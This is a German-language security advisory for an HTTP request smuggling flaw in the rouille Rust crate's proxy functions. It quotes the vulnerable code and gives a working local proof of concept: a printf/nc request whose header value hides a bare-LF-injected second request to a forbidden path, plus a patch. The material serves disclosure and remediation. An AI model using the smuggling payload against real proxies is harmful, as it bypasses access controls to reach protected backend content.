
Security Advisory: HTTP Request Smuggling Enables Front-End Access Control Bypass (rouille)
Zugewiesene CVE-ID: CVE-2026-67182
rouille::proxy::proxy und rouille::proxy::full_proxy kopieren vom Client gelieferte Anfrage-Headerwerte in die Upstream-Verbindung, ohne sie auf Steuerzeichen zu prüfen. Ein Headerwert kann legitimerweise einen bloßen Zeilenvorschub (0x0A) enthalten, da der zugrunde liegende tiny_http-Headerparser eine Headerzeile nur bei CRLF beendet. Backends, die ein bloßes LF als Zeilenabschluss akzeptieren, lesen daher eine Frontend-Anfrage als zwei.
Die zweite Anfrage ist vollständig vom Angreifer kontrolliert, einschließlich Methode und Pfad, und passiert nie den Rouille-Handler, der entschieden hat, die erste als Proxy weiterzuleiten. Ihr Antworttext wird ebenfalls an den Angreifer zurückgegeben.
Repository-URL: https://github.com/tomaka/rouille
| Erstmals betroffen | 0.3.3 (2016-12-03), die Veröffentlichung, die src/proxy.rs einführte |
| Zuletzt betroffen | 3.6.2 (2023-04-24), die aktuelle Veröffentlichung |
| Nicht betroffen | 0.3.2 und früher, die kein Proxy-Modul haben |
| Behoben in | zum Zeitpunkt des Schreibens keine behobene Version |
Jede veröffentlichte Version von 0.3.3 bis 3.6.2 enthält den unveränderten Code. Die Datei src/proxy.rs ist zwischen dem Tag 3.6.2 und dem aktuellen master-Zweig byteidentisch.
Nur Anwendungen, die proxy::proxy oder proxy::full_proxy aufrufen, sind betroffen.
CWE-444 (Inkonsistente Interpretation von HTTP-Anfragen), erreicht über CWE-113 (Unzureichende Neutralisierung von CRLF-Sequenzen in HTTP-Headern).
CVSS-4.0-Basis-Score 6.9 (Mittel)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N
Der Angreifer ist ein entfernter, nicht authentifizierter Client, der rohes HTTP an einen Rouille-Server senden kann. Es sind keine Anmeldedaten, keine Benutzerinteraktion und keine Position im Netzwerk zwischen den Komponenten erforderlich.
Das gefährdete Szenario ist eine Rouille-Anwendung, die als Reverse-Proxy agiert und vor dem Aufruf von proxy() eine Sicherheitsentscheidung trifft (Routing, Authentifizierung, Autorisierung oder Inhaltsfilterung), vor einem Backend, dessen HTTP-Parser ein bloßes LF als Headerzeilenabschluss akzeptiert.
Gemessenes Backend-Verhalten:
nginx und Apache wurden nicht getestet. RFC 9112 Abschnitt 2.2 erlaubt es einem Empfänger, ein einzelnes LF als Zeilenabschluss zu erkennen; die akzeptierenden Backends verhalten sich also spezifikationskonform.
rouille/src/proxy.rs, Zeilen 157 bis 174:
157 for (header, value) in request.headers() {
158 let value = if header == "Host" {
159 if let Some(ref replace) = config.replace_host {
160 &**replace
161 } else {
162 value
163 }
164 } else {
165 value
166 };
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
Zeile 171 ist die Senke. value ist nicht vertrauenswürdig und wird ohne Validierung geschrieben.
Die Verunreinigung (Taint) gelangt über tiny_http hinein. In tiny_http-0.12.0/src/client.rs, Zeilen 80 bis 102, endet eine Headerzeile nur, wenn auf ein CR ein LF folgt:
92 if byte == b'\n' && prev_byte_was_cr {
93 buf.pop(); // removing the '\r'
94 return AsciiString::from_ascii(buf)
95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
96 }
97
98 prev_byte_was_cr = byte == b'\r';
99
100 buf.push(byte);
Ein einzelnes LF fällt bis Zeile 100 durch und wird in den Zeilenpuffer geschoben. LF ist gültiges ASCII, daher akzeptiert AsciiString::from_ascii es. Header::from_str in tiny_http-0.12.0/src/common.rs Zeile 184 trimmt den Wert dann nur, was führende und abschließende Leerzeichen entfernt, aber innere Bytes unangetastet lässt:
187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188 let value = elems
189 .next()
190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191 .ok_or(())?;
Das Ergebnis ist ein Rouille-Headerwert, der ein rohes \n enthält, das Zeile 171 von proxy.rs direkt in die Upstream-Anfrage schreibt.
Connection: close in Zeile 173 begrenzt den Schaden nicht. Die injizierte Leerzeile beendet die erste Anfrage, bevor Zeile 173 ausgeführt wird, sodass dieser Header in der geschmuggelten Anfrage absorbiert wird. Die erste Anfrage trägt keinen Connection-Header und verwendet standardmäßig HTTP/1.1-Keep-Alive – genau das ermöglicht es dem Backend, die zweite Anfrage weiter zu verarbeiten.
Schritt 1. Erstellen Sie ein Backend-Dokumentstammverzeichnis mit einer öffentlichen Datei und einer Datei, die der Proxy schützen soll.
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE" > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html
Schritt 2. Starten Sie ein Keep-Alive-Backend auf Port 8001.
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, f, *a):
sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'
Schritt 3. Starten Sie das Rouille-Frontend auf Port 8000. Es leitet /public/ als Proxy weiter und verweigert alles andere.
use rouille::{proxy, Response};
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
if !request.url().starts_with("/public/") {
return Response::text("forbidden").with_status_code(403);
}
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
Schritt 4. Bestätigen Sie, dass die Zugriffskontrolle funktioniert.
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
HTTP/1.1 403 Forbidden
Schritt 5. Senden Sie eine einzelne Anfrage für den erlaubten Pfad mit einem bloßen LF innerhalb eines Headerwerts. Im folgenden Befehl ist \n ein bloßer Zeilenvorschub und \r\n ein CRLF. Der Unterschied ist der gesamte Angriff; lassen Sie also keinen Editor das normalisieren.
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000
Ergebnis. Das Backend-Protokoll zeigt zwei Anfragen, wobei die zweite der Pfad ist, den das Frontend in Schritt 4 verweigert hat:
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -
Der Angreifer erhält außerdem den geschützten Inhalt, weil Zeile 224 von src/proxy.rs den Rest des Upstream-Sockets in den Antworttext umwandelt:
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked
d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18
SECRET ADMIN PAGE
Ein nicht authentifizierter Client kann eine beliebige Anfrage an das Backend senden und deren Antwort lesen, während der Rouille-Handler stets nur die erlaubte Anfrage sieht. Dies macht eine pfadbasierte Zugriffskontrolle, eine im Handler durchgeführte Authentifizierung und jede vor dem Aufruf von proxy() erfolgte Anfrageprüfung zunichte.
Zwei Einschränkungen sind erwähnenswert. proxy() öffnet pro Anfrage eine frische TCP-Verbindung und betreibt kein Pooling, daher erzeugt dies nicht die benutzerübergreifende Request-Queue-Vergiftung, die mit klassischem Smuggling verbunden ist. Der Angriff benötigt außerdem ein LF-tolerantes Backend, wie oben gemessen.
Lehnen Sie Headernamen und -werte, die Steuerzeichen enthalten, ab, bevor Sie sie upstream schreiben. In src/proxy.rs, innerhalb der Schleife in Zeile 157:
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
|| value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
return Err(ProxyError::HttpParseError);
}
| Backend | Getestete Version | Akzeptiert das injizierte LF |
|---|
Go net/http | go1.26.4 | ja, bedient die geschmuggelte Anfrage |
Python http.server (protocol_version = "HTTP/1.1") | CPython 3.13 | ja, bedient die geschmuggelte Anfrage |
| Node.js | v26.3.0 | nein, gibt 400 zurück (llhttp-Strict-Modus) |
| PHP-eingebauter Server | 8.5.8 | nein, bricht die Verbindung ab |